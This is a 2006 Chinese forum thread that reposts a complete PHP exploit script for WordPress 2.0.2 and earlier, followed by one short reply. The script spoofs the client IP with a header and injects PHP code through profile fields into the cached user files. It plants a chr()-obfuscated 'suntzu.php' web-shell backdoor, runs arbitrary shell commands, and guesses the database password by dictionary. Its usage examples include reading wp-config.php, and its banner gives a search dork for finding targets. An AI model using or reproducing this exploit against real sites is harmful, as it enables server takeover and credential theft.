找回密码
 注册
广告投放 虚位以待【阿里云】2核2G云新老同享 99元/年,续费同价做网站就用糖果主机-sugarhosts.comJtti.com-新加坡服务器,美国服务器,香港服务器
查看: 603|回复: 1

WordPress <= 2.0.2 'cache' shell injection exploit

[复制链接]
发表于 2006 年 6 月 5 日 12:08:39 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?注册

×

  1. #!/usr/bin/php -q -d short_open_tag=on
  2. <?
  3. echo "--------------------------------------------------------------------\r\n";
  4. echo "| WordPress <= 2.0.2 'cache' shell injection exploit               |\r\n";
  5. echo "| by rgod rgod@autistici.org                                       |\r\n";
  6. echo "| site: http://retrogod.altervista.org                             |\r\n";
  7. echo "| dork: inurl:wp-login.php Register Username Password -echo        |\r\n";
  8. echo "--------------------------------------------------------------------\r\n";

  9. /*
  10. this works:
  11. regardless of all php.ini settings,
  12. if user registration is enabled,
  13. against an empty or weak MySQL DB password (read explaination for details...)
  14. */

  15. if ($argc<6) {
  16. echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS             \r\n";
  17. echo "host:      target server (ip/hostname)                              \r\n";
  18. echo "path:      path to WordPress                                        \r\n";
  19. echo "cmd:       a shell command                                          \r\n";
  20. echo "user/pass: you need a valid user account                            \r\n";
  21. echo "Options:                                                            \r\n";
  22. echo "   -D[dicrionary] specify a textfile and try dictionary attack      \r\n";
  23. echo "   -p[port]:        "  a port other than 80                        \r\n";
  24. echo "   -P[ip:port]:     "  a proxy                                     \r\n";
  25. echo "Examples:                                                           \r\n";
  26. echo "php ".$argv[0]." localhost /wordpress/ your_username password ls -la -Ddic.txt\r\n";
  27. echo "php ".$argv[0]." localhost /wordpress/ your_username password cat ./../../../wp-config.php -p81\r\n";
  28. echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";
  29. die;
  30. }

  31. /* explaination:

  32.   i) wordpress stores some user informations inside cached files
  33.    in wp-content/cache/userlogins/ and wp-content/cache/users/ folders, they are
  34.    php files.
  35.    Normally they look like this:

  36.    <?php
  37.    //O:8:"stdClass":23:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:18:"suntzoi@suntzu.org";s:8:"user_url";s:0:"";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:6:"suntzu";s:10:"first_name";s:0:"";s:9:"last_name";s:0:"";s:8:"nickname";s:6:"suntzu";s:11:"description";s:0:"";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:14:"user_firstname";s:0:"";s:13:"user_lastname";s:0:"";s:16:"user_description";s:0:"";}
  38.    ?>

  39.    but...what happens if you inject a carriage return ( chr(13)...), some php code and some
  40.    escape chars when you update your profile (ex. in "displayname" argument)?

  41.    Look at this file now:

  42.    <?php
  43.    //O:8:"stdClass":24:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:17:"suntzu@suntzu.org";s:8:"user_url";s:7:"http://";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:185:"suntzu
  44.    error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo 56789;passthru($_REQUEST[cmd]);echo 56789;//suntzuuuuuuuuuuuuuu";s:10:"first_name";s:6:"suntzu";s:9:"last_name";s:6:"suntzu";s:8:"nickname";s:6:"suntzu";s:11:"description";s:6:"whoami";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:12:"rich_editing";s:4:"true";s:14:"user_firstname";s:6:"suntzu";s:13:"user_lastname";s:6:"suntzu";s:16:"user_description";s:6:"whoami";}
  45.    ?>

  46.    you have a backdoor on target server...

  47.    Now you have to search a way to guess filenames 'cause we have an
  48.    index.php to trivially protect folders, but... guess what?

  49.    give a look at wp-includes/cache.php at line 355:

  50.    ...
  51.    $cache_file = $group_dir.md5($id.DB_PASSWORD).'.php';
  52.    ...

  53.    $group_dir is the folder where files are stored
  54.    DB_PASSWORD costant could be empty, if so...
  55.    you have only to calculate the md5 hash of your user id, then:

  56.    http://[target]/[path]/wp-content/cache/users/[md5(user_id)].php?cmd=ls%20-la

  57.    the same with userlogins/ folder, this time:

  58.    http://[target]/[path]/wp-content/cache/userlogins/[md5(username)].php?cmd=ls%20-la

  59.    otherwise you can check if DB_PASSWORD is in a dictionary through the -D option,
  60.    this tool calculate the hash to do something like this:

  61.    http://[target]/[path]/wp-content/cache/users/[md5([user_id][db_pass])].php?cmd=ls%20-la
  62.    http://[target]/[path]/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=ls%20-la

  63.   ii) an ip-spoofing issue in vars.php:

  64.   ...
  65.   // On OS X Server, $_SERVER['REMOTE_ADDR'] is the server's address. Workaround this
  66.   // by using $_SERVER['HTTP_PC_REMOTE_ADDR'], which *is* the remote address.
  67.   if ( isset($_SERVER['HTTP_PC_REMOTE_ADDR']) )
  68.           $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PC_REMOTE_ADDR'];
  69.   ...

  70.   poc:
  71.   you can set an http header like this when you register:

  72.   PC_REMOTE_ADDR: 1.1.1.1
  73.                                                                               */
  74. error_reporting(0);
  75. ini_set("max_execution_time",0);
  76. ini_set("default_socket_timeout",5);

  77. function quick_dump($string)
  78. {
  79.   $result='';$exa='';$cont=0;
  80.   for ($i=0; $i<=strlen($string)-1; $i++)
  81.   {
  82.    if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  83.    {$result.="  .";}
  84.    else
  85.    {$result.="  ".$string[$i];}
  86.    if (strlen(dechex(ord($string[$i])))==2)
  87.    {$exa.=" ".dechex(ord($string[$i]));}
  88.    else
  89.    {$exa.=" 0".dechex(ord($string[$i]));}
  90.    $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  91.   }
  92. return $exa."\r\n".$result;
  93. }
  94. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  95. function sendpacketii($packet)
  96. {
  97.   global $proxy, $host, $port, $html, $proxy_regex;
  98.   if ($proxy=='') {
  99.     $ock=fsockopen(gethostbyname($host),$port);
  100.     if (!$ock) {
  101.       echo 'No response from '.$host.':'.$port; die;
  102.     }
  103.   }
  104.   else {
  105.         $c = preg_match($proxy_regex,$proxy);
  106.     if (!$c) {
  107.       echo 'Not a valid proxy...';die;
  108.     }
  109.     $parts=explode(':',$proxy);
  110.     echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  111.     $ock=fsockopen($parts[0],$parts[1]);
  112.     if (!$ock) {
  113.       echo 'No response from proxy...';die;
  114.         }
  115.   }
  116.   fputs($ock,$packet);
  117.   if ($proxy=='') {
  118.     $html='';
  119.     while (!feof($ock)) {
  120.       $html.=fgets($ock);
  121.     }
  122.   }
  123.   else {
  124.     $html='';
  125.     while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  126.       $html.=fread($ock,1);
  127.     }
  128.   }
  129.   fclose($ock);
  130.   #debug
  131.   #echo "\r\n".$html;

  132. }
  133. $host=$argv[1];
  134. $path=$argv[2];
  135. $username=$argv[3];
  136. $password=$argv[4];
  137. $cmd="";
  138. $port=80;
  139. $proxy="";
  140. $dict="";

  141. for ($i=5; $i<=$argc-1; $i++){
  142. $t=$argv[$i][0].$argv[$i][1];
  143. if (($t<>"-p") and ($t<>"-P") and ($t<>"-D"))
  144. {$cmd.=" ".$argv[$i];}
  145. if ($t=="-p")
  146. {
  147.   $port=str_replace("-p","",$argv[$i]);
  148. }
  149. if ($t=="-P")
  150. {
  151.   $proxy=str_replace("-P","",$argv[$i]);
  152. }
  153. if ($t=="-D")
  154. {
  155.   $dict=str_replace("-D","",$argv[$i]);
  156. }
  157. }
  158. $cmd=urlencode($cmd);
  159. if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  160. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

  161. echo "step 0 -> check if suntzu.php is already installed...\r\n";
  162. $check=array("users/suntzu.php",
  163.              "userlogins/suntzu.php"
  164.              );
  165. for ($i=0; $i<=count($check)-1; $i++)
  166. {
  167.   $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";
  168.   $packet.="Host: ".$host."\r\n";
  169.   $packet.="Cookie: cmd=".$cmd."\r\n";
  170.   $packet.="Connection: close\r\n\r\n";
  171.   sendpacketii($packet);
  172.   if (strstr($html,"*DL*"))
  173.   {
  174.     echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo $temp[1]."\r\n";echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la";die;
  175.   }
  176. }
  177. echo "step 1 -> Login ...\r\n";
  178. $data="log=".urlencode(trim($username));
  179. $data.="&pwd=".urlencode(trim($password));
  180. $data.="&rememberme=forever";
  181. $data.="&submit=".urlencode("Login &raquo;");
  182. $data.="&redirect_to=wp-admin";
  183. $packet="POST ".$p."wp-login.php HTTP/1.0\r\n";
  184. $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n"; //ip spoofing bug in vars.php ;)...
  185. $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  186. $packet.="Host: ".$host."\r\n";
  187. $packet.="Content-Length: ".strlen($data)."\r\n";
  188. $packet.="Connection: close\r\n\r\n";
  189. $packet.=$data;
  190. sendpacketii($packet);
  191. $temp=explode("Set-Cookie: ",$html);
  192. $temp2=explode(" ",$temp[1]);
  193. $cookie=$temp2[0];
  194. $temp2=explode(" ",$temp[2]);
  195. $cookie.=" ".$temp2[0];
  196. if ($cookie==''){echo "Unable to login...";die;}
  197. else {echo "cookie ->".$cookie."\r\n";}

  198. echo "step 2 -> Retrieve your user id...\r\n";
  199. $packet="GET ".$p."wp-admin/profile.php HTTP/1.0\r\n";
  200. $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";
  201. $packet.="Host: ".$host."\r\n";
  202. $packet.="Cookie: ".$cookie."\r\n";
  203. $packet.="Connection: close\r\n\r\n";
  204. $packet.=$data;
  205. sendpacketii($packet);
  206. $temp=explode("checkuser_id" value="",$html);
  207. $temp2=explode(""",$temp[1]);
  208. $user_id=$temp2[0];
  209. if ($user_id==''){die("Unable to retrieve user id...\r\n");}
  210. else {echo "user id -> ".$user_id."\r\n";}

  211. echo "step 3 -> Update your profile with the evil code...\r\n";
  212. $suntzu='$fp=fopen("suntzu.php","w");fputs($fp,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(114).chr(114).chr(111).chr(114).chr(95).chr(114).chr(101).chr(112).chr(111).chr(114).chr(116).chr(105).chr(110).chr(103).chr(40).chr(48).chr(41).chr(59).chr(115).chr(101).chr(116).chr(95).chr(116).chr(105).chr(109).chr(101).chr(95).chr(108).chr(105).chr(109).chr(105).chr(116).chr(40).chr(48).chr(41).chr(59).chr(105).chr(102).chr(32).chr(40).chr(103).chr(101).chr(116).chr(95).chr(109).chr(97).chr(103).chr(105).chr(99).chr(95).chr(113).chr(117).chr(111).chr(116).chr(101).chr(115).chr(95).chr(103).chr(112).chr(99).chr(40).chr(41).chr(41).chr(123).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(61).chr(115).chr(116).chr(114).chr(105).chr(112).chr(115).chr(108).chr(97).chr(115).chr(104).chr(101).chr(115).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(125).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(42).chr(68).chr(76).chr(42).chr(34).chr(59).chr(112).chr(97).chr(115).chr(115).chr(116).chr(104).chr(114).chr(117).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62));fclose($fp);//';
  213. $suntzu=urlencode($suntzu);
  214. $code='error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo chr(42).chr(68).chr(76).chr(42);passthru($_REQUEST[cmd]);echo chr(42).chr(68).chr(76).chr(42);';
  215. $code=urlencode($code);
  216. $data="from=profile";
  217. $data.="&checkuser_id=".$user_id;
  218. $data.="&user_login=".urlencode(trim($username));
  219. $data.="&first_name=".urlencode(trim($username));
  220. $data.="&last_name=".urlencode(trim($username)).chr(13).$suntzu."//suntzuuu";
  221. $data.="&nickname=".urlencode(trim($username));
  222. $data.="&display_name=".urlencode(trim($username)).chr(13).$code."//suntzuu";
  223. $data.="&email=".urlencode("suntzu@suntzu.org");
  224. $data.="&url=".urlencode("http://");
  225. $data.="&aim=";
  226. $data.="&yim=";
  227. $data.="&jabber=";
  228. $data.="&description=whoami";
  229. $data.="&rich_editing=true";
  230. $data.="&submit=".urlencode("Update Profile &raquo;");
  231. $packet="POST ".$p."wp-admin/profile-update.php HTTP/1.0\r\n";
  232. $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";
  233. $packet.="Accept-Encoding: gzip, deflate\r\n";
  234. $packet.="Accept-Language: en\r\n";
  235. $packet.="Referer: http://".$host.$path."wp-admin/profile-update.php\r\n";
  236. $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
  237. $packet.="Host: ".$host."\r\n";
  238. $packet.="Content-Length: ".strlen($data)."\r\n";
  239. $packet.="Cookie: ".$cookie."\r\n";
  240. $packet.="Connection: close\r\n\r\n";
  241. $packet.=$data;
  242. sendpacketii($packet);
  243. if (eregi("updated=true",$html)){echo "Done...\r\n";}
  244. else {die("Unable to update profile...");}

  245. echo "step 4 -> go to profile page to avoid cached files deletion...\r\n";
  246. $packet="GET ".$p."wp-admin/profile.php?updated=true HTTP/1.0\r\n";
  247. $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";
  248. $packet.="Host: ".$host."\r\n";
  249. $packet.="Cookie: ".$cookie."\r\n";
  250. $packet.="Connection: close\r\n\r\n";
  251. sendpacketii($packet);
  252. if (eregi("200 OK",$html)){echo "Done...\r\n";}
  253. sleep(2);

  254. echo "step 5 -> check for an empty db password...\r\n";
  255. $check=array("users/".md5($user_id).".php",
  256.              "userlogins/".md5(trim($username)).".php"
  257.              );
  258. for ($i=0; $i<=count($check)-1; $i++)
  259. {
  260.   $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";
  261.   $packet.="Host: ".$host."\r\n";
  262.   $packet.="Cookie: cmd=".$cmd."\r\n";
  263.   $packet.="Connection: close\r\n\r\n";
  264.   sendpacketii($packet);
  265.   if (eregi("*DL*",$html))
  266.   {
  267.     echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo($temp[1]);echo"\r\nNow you can launch commands through the followig urls:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n";die;
  268.   }
  269. }

  270. if ($dict=='') {echo "exploit failed...\r\n";}
  271. else
  272.    {
  273.     echo "step 6 -> trying with dictionary attack...\r\n";
  274.     if (file_exists($dict))
  275.     {
  276.       $fp=fopen($dict,"r");
  277.       while (!feof($fp))
  278.       {
  279.         $word=trim(fgets($fp));
  280.         $check=array("users/".md5($user_id.$word).".php",
  281.                      "userlogins/".md5(trim($username).$word).".php"
  282.                     );
  283.         for ($i=0; $i<=count($check)-1; $i++)
  284.         {
  285.           echo "Trying with ".$check[$i]."\r\n";
  286.           $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";
  287.           $packet.="Host: ".$host."\r\n";
  288.           $packet.="Cookie: cmd=".$cmd."\r\n";
  289.           $packet.="Connection: close\r\n\r\n";
  290.           sendpacketii($packet);
  291.           if (strstr($html,"*DL*"))
  292.           {
  293.             echo "Exploit succeeded...\r\n";fclose($fp);$temp=explode("*DL*",$html);echo $temp[1];echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n";
  294.             die;
  295.           }
  296.         }
  297.      }
  298.      fclose($fp);
  299.      //if you are here...
  300.      echo "Exploit failed...\r\n";
  301.    }
  302.    else
  303.    {
  304.      die($dict."does not exist!");
  305.    }
  306.   }
  307. ?>

  308. # hihacker.net
复制代码
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
 楼主| 发表于 2006 年 6 月 6 日 16:18:10 | 显示全部楼层
【腾讯云】2核2G云服务器新老同享 99元/年,续费同价
用WordPress的人都不看看吗?呵呵,不怕被弄?
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|金光论坛

GMT+8, 2025 年 2 月 4 日 01:17 , Processed in 0.019803 second(s), 21 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表